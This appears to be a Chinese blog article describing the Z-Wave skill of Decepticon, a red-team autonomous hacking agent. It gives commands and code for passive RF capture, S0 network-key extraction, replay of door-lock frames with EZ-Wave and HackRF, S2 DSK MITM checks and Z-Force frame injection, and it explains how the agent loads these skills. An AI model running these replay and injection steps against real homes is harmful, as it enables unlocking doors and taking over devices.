☰
Decepticon Z-Wave 安全评估技能实战:S0 网络密钥提取、S2 DSK 分析与射频重放
2026/10/14 16:01:12 网站建设 项目流程

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址:https://gitcode.com/gh_mirrors/de/Decepticon
点击查看免费下载

本技能文档位于仓库 packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md,是 Decepticon 红队技能库中面向智能家居无线链路的完整操作手册。它覆盖 Z-Wave 协议两大安全类别的攻防全流程:S0(2009)网络密钥明文传输缺陷的被动提取、S2(2017)ECDH + DSK 引导流程的中间人分析,以及针对未认证节点的射频重放。读完本文,你将掌握从 RTL-SDR 被动捕获、S0 密钥 XOR 还原、EZ-Wave/HackRF 重放到 Z-Force 主动注入的完整实战链路,并了解 Decepticon 中该技能如何被 Agent 按需加载、如何将发现固化为知识图谱节点与本地证据。

技能定位:何时启用 Z-Wave 专项

该技能的前置元数据(frontmatter)定义了它的触发边界与归属,这与 Decepticon 的 SKILL.md 规范 完全一致:每个技能必须声明name、description、metadata.subdomain与metadata.when_to_use触发词。

name: z-wave description: Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands. allowed-tools: Bash Read Write metadata: subdomain: iot when_to_use: Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key tags: z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz mitre_attack: T1040, T1557, T1190, T1078

从这些字段可以读出技能的适用范围:

  • 触发词覆盖完整的攻击场景:Z-Wave、S0、S2、ECDH、DSK、EZ-Wave、Z-Force、replay、unauthenticated、smart home、RTL-SDR、scapy-radio、Z-Wave network key以及两个频段关键词868 MHz、908 MHz。当任务描述命中这些词时,Decepticon 的 Agent 会通过load_skill()按需加载该技能(详见下文"在 Decepticon 中的调度链路"一节)。
  • 归属 iot 子域:subdomain: iot是合法取值,见 skill_audit/subdomains.yaml 中的域类别清单;技能树索引页 skills/standard/iot/SKILL.md 也将其登记为"S0 derivation flaw, S2 ECDH analysis, replay on unauthenticated nodes"。
  • MITRE ATT&CK 映射:frontmatter 声明了T1040、T1557、T1190、T1078四个技术 ID,分别与本文各阶段的嗅探捕获、中间人、面向网络设备的利用与有效凭据滥用相对应;tags中还保留了868mhz等检索标签,方便按频段检索。

协议背景:为什么 Z-Wave 值得单独评估

Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.

Z-Wave 是智能家居领域占有率最高的专有射频协议,门锁、恒温器、传感器等设备广泛采用。它的两个安全代际各有结构性弱点:

  • S0(2009):入网(inclusion)过程中网络密钥以明文形式在射频链路上传输,攻击者只需在入网瞬间被动监听即可还原整个网络的通信密钥——这是协议级别的设计缺陷,与设备固件无关。
  • S2(2017):改用 ECDH 密钥交换,但引入了 DSK(设备专属密钥,通常是印在设备标签上的 16 位 PIN)引导步骤。如果控制器 UI 不强制用户核对 DSK,攻击者就可以在入网过程中实施中间人替换。

因此,本技能的价值在于:无论目标设备是旧款 S0 还是新款 S2,只要存在配置不当或协议缺陷,都可以通过"被动捕获 → 密钥推导 → 重放/注入"的链路形成完整攻击面评估。

前置条件:硬件与软件栈

硬件清单

设备用途关键参数
RTL-SDR Blog v4被动捕获24–1766 MHz 覆盖,零射频发射
HackRF One主动收发1 MHz–6 GHz,支持重放与注入
Sigma Designs UZB / Aeotec Z-Stick Gen5USB Z-Wave 控制器供 EZ-Wave / Z-Force 主动工作使用

软件清单

  • gr-zwave:GNU Radio 的 Z-Wave OOK 解码器(来自 scapy-radio 项目,BastilleResearch 维护,包含 Z-Wave 模块)。
  • EZ-Wave:基于 USB Z-Wave 控制器的嗅探/重放工具,支持sniff、capture、replay三种工作模式。
  • Z-Force / Zniffer:Silabs 的 Z-Wave 抓包与注入工具链(PC_Host_SW_Bundle 中的 Zniffer 二进制,可在 Windows VM 或 Wine 中运行)。
  • Scapy + Z-Wave 层:用于从 pcap 中解析 Z-Wave 帧结构。

安装方式(按原文档整理,以 Kali 为基准环境):

# gr-zwave / scapy-radio:克隆上游仓库后按 README 构建(Z-Wave OOK 解码模块) git clone <scapy-radio 仓库> # EZ-Wave:克隆上游仓库并安装串口与消息总线依赖 git clone <EZ-Wave 仓库> pip install pyserial pyzmq # Z-Force(Silabs):从 PC_Host_SW_Bundle 下载 Zniffer 二进制,在 Windows VM 或 Wine 中运行

注意:RTL-SDR 与 HackRF 属于射频硬件,需要直通(passthrough)到 Decepticon 的沙箱环境才能被 Agent 调用;纯固件静态分析则不需要硬件。这一前提在 iot_operator.py 的模块注释中有明确说明。

Z-Wave 频率参考

不同区域的 Z-Wave 主频与回退频段不同,开工前必须把 SDR 调到目标设备所在区域的正确频率:

RegionPrimary frequencyFallback
EU / UK868.42 MHz869.85 MHz
US / CA908.42 MHz916.0 MHz
JP922–926 MHz—
AU / NZ919.8 MHz921.4 MHz

后续所有命令中的-f/--freq参数都应按此表选择:EU 场景用868.42e6,US 场景用908.42e6。

Phase 1:RTL-SDR + gr-zwave 被动捕获

被动捕获是整条攻击链的起点,目标是在**入网事件(inclusion)**发生时抓取射频流量——S0 的明文密钥传输就发生在这个瞬间。两种方式任选其一:

方式一:GNU Radio Companion 实时解调

# 使用 gr-zwave 自带的示例流图 zwave_rx.grc # 采样率设为 2 MHz,中心频率设为 908.42e6(US)或 868.42e6(EU) gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc

方式二:先存 IQ 再离线解码

# 1. 用 rtl_sdr 抓原始 IQ 数据(2 MHz 采样率、40 dB 增益) rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq # 2. 交给 gr-zwave 的离线解码器 python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq

实操要点:捕获时机决定成败。只有当新设备加入控制器(inclusion)时,S0 密钥传输才会以明文形式出现在链路上;日常流量中即使抓到加密帧也无法直接推导密钥。因此建议在目标家庭网络中触发一次设备重新入网,或等待用户添加新设备时持续监听。

从攻击战术的角度看,本阶段对应 frontmatter 中的T1040(网络嗅探)。RTL-SDR 是纯接收设备,捕获阶段零射频发射,天然隐蔽。

Phase 2:S0 密钥提取(入网瞬间的明文密钥还原)

攻击原理

S0 的入网序列存在致命缺陷:

  1. 控制器发送NETWORK_KEY_SET命令,其中携带 16 字节网络密钥,且密钥与 Z-Wave 默认密钥0x00×16做XOR 运算"加密";
  2. 节点以NETWORK_KEY_VERIFY确认收到。

由于默认密钥是全零,XOR 结果就是密钥本身——所谓"加密"等价于明文传输,还原过程可退化为恒等运算:

DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key def extract_s0_key(key_set_payload: bytes) -> bytes: """ key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06). """ return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY)) # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.

代码中的注释还给出了一条重要的实战修正:实际抓包中,S0 KEY_SET 中的"加密密钥"是在临时密钥(由控制器 nonce 与节点 nonce 推导)下传输的,因此必须同时捕获两个 nonce 才能完成真正的推导。也就是说,纯理论上的"全零密钥 XOR"给出了攻击思路,工程实现上还要结合 nonce 交换过程还原临时密钥。

用 EZ-Wave 嗅探入网流量

# EZ-Wave 嗅探模式(需要 Aeotec Z-Stick 或 UZB 控制器) python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt

抓到的流量可配合 Scapy 的 Z-Wave 层解析帧结构,提取NETWORK_KEY_SET的命令体。

Phase 3:未认证节点的重放攻击(No-Security / 已提取 S0 密钥)

许多旧款设备以**无安全等级(no security class)**加入网络,这类节点会无条件接受寻址到其 NodeID 的任何射频帧——无需解密,直接重放即可触发动作。这对应 frontmatter 中的T1078(有效凭据/合法指令的滥用思路)。

EZ-Wave 重放门锁指令:

# 1. 录制一条合法指令(例如门锁 LOCK 命令) python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin # 2. 原样重放该帧——即可触发开锁 python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin

HackRF + GNU Radio 原始 OOK 重放(不依赖 Z-Wave 控制器硬件):

# 1. 捕获目标帧的原始 IQ hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40 # 2. 在同频点上重放 hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47

两条路径的取舍:EZ-Wave 走的是 USB 控制器协议栈,帧格式由工具保证;HackRF 走的是物理层 OOK 信号重放,更接近射频本质,但也更容易被 Z-Wave 嗅探器/IDS 察觉(见下文 OPSEC)。

Phase 4:S2 DSK MITM 分析

S2 入网使用 ECDH(Curve25519),DSK(设备专属密钥,即设备标签上的 16 位 PIN)用于引导 ECDH 交换。攻击向量有两个:

  1. DSK 未被验证时的 MITM:如果控制器软件自动接受 DSK、不弹窗要求用户核对,伪装的节点就可以在入网时替换自己的公钥,从而完成中间人。
  2. 物理接触导致的 DSK 泄露:DSK 印在设备标签或二维码上。攻击者若曾在供应链或零售环节接触过设备,可提前记录 DSK,之后用自己的控制器完成入网,实现设备接管。

原文档给出了交叉校验公钥与 DSK 的判定逻辑:S2 公钥(32 字节)的前 2 字节与 DSK 前 2 字节(大端序)一致;若控制器"自动放行",说明它只核对了前 2 字节而放过了其余 14 字节。

# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange: # Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT. # Extract the node's public key (32 bytes) from the Z-Wave Application # Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT". # Cross-check with the DSK: # First 2 bytes of the public key == first 2 bytes of the DSK (big-endian). # If auto-granted, the controller accepted without verifying remaining 14 bytes. def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool: pk_bytes = bytes.fromhex(public_key_hex) dsk_bytes = bytes.fromhex(dsk_pin.replace("-", "")) return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]

注意dsk_pin.replace("-", ""):设备标签上的 DSK 通常带连字符分段显示,解析前需先去除。该阶段整体对应 frontmatter 中的T1557(中间人攻击)。

Phase 5:Z-Force 主动模糊测试

Z-Force(安全研究者对 Silabs PC Zniffer 的扩展)允许通过 USB Z-Wave 控制器注入任意 Z-Wave 帧,是链路中唯一的"主动模糊测试"手段,对应T1190思路下对设备协议的主动探测:

# 向 NodeID 5 注入原始帧:命令类 0x25(Binary Switch),命令 0x01,载荷 0xFF(Switch ON) zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # 枚举射频范围内的所有节点(广播 NodeID 0xFF) zforce scan --freq 908420000 # 重放一条捕获的 BASIC_SET 帧 zforce replay --file /tmp/basic_set.zwave --node 5

典型用途:向二进制开关类设备(0x25)注入未预期的载荷组合,观察设备是否出现异常状态、固件崩溃或旁路逻辑——为后续漏洞利用铺路。

证据固化:本地证据与知识图谱节点

Decepticon 强调"评估过程可审计、发现可追溯",本技能在 Evidence 一节给出了两条固化路径。

路径一:本地证据落盘 + 哈希校验

EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" cp /tmp/zwave_capture.iq "$EVIDENCE/" cp /tmp/ezwave_sniff.txt "$EVIDENCE/" sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"

原始 IQ、嗅探日志与 sha256 清单一起归档到evidence/z-wave/时间戳目录。这与仓库中 local-evidence-contract.md 定义的证据契约一致:证据应落在evidence/树内,目录采用带时间戳的独立命名,并由校验和保证完整性。

路径二:写入 engagement 知识图谱

kg_add_node( kind="finding", label=f"Z-Wave S0 network key extracted NodeID={node_id}", props={ "key": f"z-wave::s0::{home_id}", "home_id": home_id, "node_id": node_id, "s0_network_key_hex": s0_key.hex(), "security_class": "S0", "frequency_mhz": 908.42, "source": "gr-zwave+ezwave", }, )

kg_add_node是 Decepticon 提供的知识图谱工具,其实现在 tools/research/tools.py:它支持host、vulnerability、cve、finding、credential等节点类型,并要求在props中提供确定性key用于去重(这里用z-wave::s0::{home_id}保证同一网络只产生一个节点),其余字段(s0_network_key_hex、frequency_mhz、source等)作为属性持久化,跨 Agent 迭代可被后续查询与攻击链规划复用。工具文档还提示:观察到的资产、漏洞、凭据都应及时写图,图谱在 Ralph 迭代间持久存在,本次新增的节点下一次新上下文 Agent 即可查询。

OPSEC 注意事项

原文档给出的操作安全要点,每条都直接影响任务成败与合规边界:

  • HomeID 全帧广播:Z-Wave HomeID(32 位)在每一帧中都以明文广播,抓到任意一帧即可确定网络身份。这意味着被动阶段就足以完成网络指纹识别。
  • 门锁重放是物理安全事件:重放门锁指令会直接造成物理层面影响,只能在业主授权且具备书面回退预案(例如备用进门方式)的前提下执行。
  • RTL-SDR 零发射:纯被动捕获阶段没有任何射频发射,隐蔽性最高。
  • HackRF 重放可被检测:如果目标环境部署了 Z-Wave 嗅探器或 IDS(如 Silabs Zniffer),重放行为会被发现;但绝大多数消费级智能家居环境没有此类监控。
  • S2 强安全类不可攻破:采用ACCESS或AUTHENTICATED安全类且强制人工 DSK 校验的 S2 网络,对本技能描述的全部 MITM 手法免疫,应在评估报告中标记为"已加固(hardened)"。

这最后一条也划定了本技能的适用边界:评估结论不一定是"可攻破",也可能是"已加固"——文档明确要求把免疫场景记录为硬化结果,避免误报。

在 Decepticon 中的调度链路

该技能不是孤立文档,它在 Decepticon 中有完整的运行时接入路径:

  1. 技能索引:skills/standard/iot/SKILL.md 将 Z-Wave 技能登记在 IoT 技能目录中,说明其适用场景是"S0 密钥推导缺陷、S2 ECDH 分析、未认证节点重放"。
  2. Agent 装载:agents/standard/iot_operator.py 中的_SKILL_SOURCES = ["/skills/standard/iot/", "/skills/shared/"]将整个 IoT 技能树挂载给 IotOperator 子代理;SUBAGENT_SPEC(同文件 L126-L140)的描述中明确列出"Z-Wave"作为该子代理的技能面,当任务范围包含 IoT/嵌入式硬件射频(BLE GATT、Zigbee Touchlink、Z-Wave、sub-GHz、LoRaWAN)时,OPPLAN 会路由到该子代理。
  3. 按需加载:middleware/skills.py 实现 SkillsMiddleware,Agent 在目标命中when_to_use触发词时,通过load_skill()加载完整的 SKILL.md 再执行技术动作,而不是从记忆里凭空操作。
  4. 图与证据闭环:kg_add_node将发现写入 engagement 知识图谱(tools/research/tools.py),本地证据按 local-evidence-contract.md 落盘,形成"执行 → 证据 → 图谱 → 链规划"的闭环。

参考与延伸阅读

原文档列出的参考来源整理如下(均为项目背景资料,不在此展开外部链接):

  • EZ-Wave:AFcruzBR 维护的 Z-Wave 嗅探/重放工具集,本文 Phase 2/3 的核心工具。
  • gr-zwave / scapy-radio:BastilleResearch 维护的 GNU Radio Z-Wave OOK 解码模块,Phase 1 的解调核心。
  • "Z-Wave Reverse Engineering"(Crowley & Heeger, DEF CON 21):Z-Wave 逆向工程的经典公开研究,频率与协议细节的原始来源。
  • Silabs Z-Wave PC Zniffer:Silabs 官方 Z-Wave 抓包工具(PC_Host_SW_Bundle),Z-Force 的基座。
  • Z-Wave Alliance 安全类规范 SDS13784(Security 2 spec):S2 安全类的协议规范依据,对应本文 Phase 4 的SECURITY_2_PUBLIC_KEY_REPORT等表项出处。

仓库内可继续深入的相关材料:同属 IoT 无线侧带的其他技能 zigbee-touchlink/SKILL.md(Touchlink 滥用)、sub-ghz/SKILL.md(433/868/915 MHz 捕获重放),以及 docs/red-team/ai-red-teaming.md 等红队方法论文档。若要为 Decepticon 新增同类技能,请参照 skill-schema.md 的 frontmatter 与校验规则,并运行make audit-skills完成审计。

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址:https://gitcode.com/gh_mirrors/de/Decepticon
点击查看免费下载

相关推荐

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询